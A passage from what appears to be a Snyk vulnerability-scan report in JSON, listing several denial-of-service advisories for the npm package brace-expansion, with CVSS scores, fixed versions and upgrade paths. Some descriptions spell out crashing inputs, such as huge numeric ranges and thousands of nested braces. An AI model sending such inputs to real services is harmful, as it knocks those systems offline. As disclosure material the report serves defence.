Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": 